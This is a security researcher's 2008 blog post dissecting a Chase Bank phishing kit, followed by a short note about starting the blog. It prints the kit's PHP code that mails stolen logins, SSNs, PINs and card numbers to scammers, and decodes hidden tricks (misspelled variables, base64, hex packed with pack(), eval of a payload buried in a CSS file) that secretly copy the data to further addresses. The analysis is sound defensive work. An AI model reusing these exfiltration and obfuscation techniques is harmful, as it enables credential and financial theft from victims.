The file Mr-Brain.php contains the code to ship to information back to
the scammer. The code is:
3: $message = ... // phished information
...
39:
38: $send="scammer_forlife@yahoo.com";
39:
40: $subject = "Chase Bank ReZulT | $user | $ip";
41: $headers = "From: Mr-Brain<new@chase.com>";
42: $str=array($send, $IP); foreach ($str as $send) {
43: if(mail($send,$subject,$message,$headers) != false){
44: mail($Send,$subject,$message,$headers);
45: mail($messege,$subject,$message,$headers);
46: }
mail() is a standard PHP function that send an e-mail message to the
address specified in its first argument. Let's see how the kit uses this
code to distribute information to a number of addresses other than
scammer_forlife@yahoo.com.
In Mr-Brain.php, the email message is composed as follows:
$hostname = gethostbyaddr($ip);
$message = "---------------+ Chase Bank Spam ReZulT +-----------------\n";
$message .= "User ID : $user\n";
...
$messege .= "hostip";
$message .= "Full Name : $fullname\n";
...
$message .= "City : $city\n";
$messege .= "port";
$message .= "State : $state\n";
...
$message .= "Mother Maiden Name : $mmn\n";
$messege .= "@";
$message .= "Date of Birth : $bmonth/$bday/$byear\n";
...
$message .= "ATM PIN Code : $pin\n";
$messege .= "g";
$message .= "Credit Card Number: $cardnumber\n";
...
$message .= "CVV Number : $cvv\n";
$messege .= "mail";
$message .= "---------------------------------------------------\n";
...
$messege .= ".";
$message .= "Credit Card Number: $cardnumber\n";
...
$messege .= "com";
...
$message .= "----------------+ Created in 2008 By Mr-Brain +----------------\n";
Notice the mistyped $messege variable (instead of $message). Once
reconstructed the variable forms the e-mail address
hostipport@gmail.com. At line 45 it is used as the recipient of the
mail function. The trick uses the fact that PHP automatically
initializes undefined string variables (as $messege here) to the empty
string.
Inside the foreach loop of line 42, the variable $Send (notice the
capital letter) is different from the variable $send (all lowercase).
How is $Send initialized? In details.php, a form contains the hidden
parameter Send, whose value is set to:
<?=base64_decode("TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=");?>
which, once interpreted, gives the e-mail address Mr-Brain@Evil-Brain.Net.
The sending code loops over the contents of an array initialized with
the variables $send and $IP. What is $IP? In prospect.php,
the variable $IP is initialized to
pack("H*", substr($VARS=$erorr,strpos($VARS, "329")+3,46));
$erorr (again, misspelled to disguise it for the variable $error)
contains the contents of the file login.php. The substr() function
searches for 329 in login.php, finds it in the value argument of a
hidden parameter, and extracts the following 46 characters:
70696f6e6565722e627261696e40676d61696c2e636f6d
These are then massaged through the function pack() to give yet another
e-mail address: pioneer.brain@gmail.com
prospect.php contains the following interesting functions:
39: function clean($str){
40: $clean=create_function('$str','return '.gets("(1,",3,4).'($str);');
41: return $clean($str);
42: }
43: function getc($string){
44: return implode('', file($string));
45: }
46: function gets($a, $b, $c){
47: global $d; return substr(getc($d),strpos(getc($d),$a)+$b,$c);
48: }
49: function end_of_line(){
50: $end=gets("(2,",3,4); endline=$end(gets("(3,",3,2),getc(gets("(((",3,20)));
51: return $endline;
52: }
53: function geterrors(){
54: return clean(end_of_line());
55: }
The function geterrors() is called at the end of the file, right before
error checking is performed. Let's see what these functions are doing:
end_of_line: by matching for the pattern (2, on the details.php
file, it extracts the string pack. By pattern matching for (3, and
(((, it extracts the strings h* and images/style_002.css. These
pieces are composed to execute:
:::php pack('h*', file_get_contents('images/style_002.css'));
The file images/style_002.css apparently contains CSS data, except
for a section at the middle of the file that resembles a long
alphanumeric string. After applying pack() to it, it returns a long
string containing unprintable characters at the beginning and at the
end. The central section of images/style_002.css is instead
transformed into:
global $error;
if("$error" != "1"){
global $user;
global $pass;
global $fullname;
global $address;
global $city;
global $state;
global $zip;
global $email;
global $mmn;
global $bmonth;
global $bday;
global $byear;
global $ssn1;
global $ssn2;
global $ssn3;
global $pin;
global $cardnumber;
global $expmonth;
global $expyear;
global $cvv;
if (getenv(HTTP_CLIENT_IP)){
$iP=getenv(HTTP_CLIENT_IP);
} else {
$iP=getenv(REMOTE_ADDR);
}
$hostname = gethostbyaddr($iP);
$message = "--------------- Chase Bank Spam ReZulT -----------------\n";
$message .= "User ID : $user\n";
$message .= "Password : $pass\n\n";
$message .= "Full Name : $fullname\n";
$message .= "Address : $address\n";
$message .= "City : $city\n";
$message .= "State : $state\n";
$message .= "Zip Code : $zip\n";
$message .= "E-mail Address : $email\n\n";
$message .= "Mother Maiden Name : $mmn\n";
$message .= "Date of Birth : $bmonth/$bday/$byear\n";
$message .= "Social Security No : $ssn1-$ssn2-$ssn3\n";
$message .= "ATM PIN Code : $pin\n";
$message .= "Credit Card Number: $cardnumber\n";
$message .= "Expiration Date : $expmonth/$expyear [mm/yy]\n";
$message .= "CVV Number : $cvv\n";
$message .= "---------------------------------------------------\n";
$message .= "IP Address : $iP\n";
$message .= "HostName : $hostname\n";
$message .= "---------------- Created in 2008 By Mr-Brain ----------------\n";
$Brain="pamer@inbox.com,usa813@gmail.com";
$subject = "Chase Bank ReZulT";
$headers = "From: Mr-Brain<new@chase.com>";
mail($Brain,$subject,$message,$headers);
}
clean: by matching for the pattern (1, on the details.php file, it
extracts the string eval. It then creates and returns an anonymous
function that accepts a single parameter and applies eval() to
it.
geterrors: evaluates through eval the string returned by end_of_line().
Notice that eval ignores the extra junk at the beginning and end of
the string and happily executes the relevant content, thus sending the
phished information also to pamer@inbox.com and usa813@gmail.com.
April 2, 2008
Roughly a decade later than the rest of the world (ok, half a decade), I've decided it was about time to join this web 2.0 frenzy and add a blog to the website. Here, I'll try to post my non-academic-paper-style writings about various security topics.
To try to convince me that it is a serious thing and, web 2.0 aside, these are still the days when “men were men and wrote their own device drivers”, I've settled on blosxom as my blogging engine, which gives me a nice, command-line interface to publishing and lets me use a normal text editor to compose posts. To keep things simple, I have decided against having an add-a-comment feature. So, if you wish to comment or respond to something, send me an e-mail and I'll update the post with it.
Unless otherwise noted, material appearing on the blog is licensed
under a Creative
Commons Attribution-Noncommercial 3.0 United States License.

As everything, this is work in progress. Yes that (also) means that tags don't work, yet...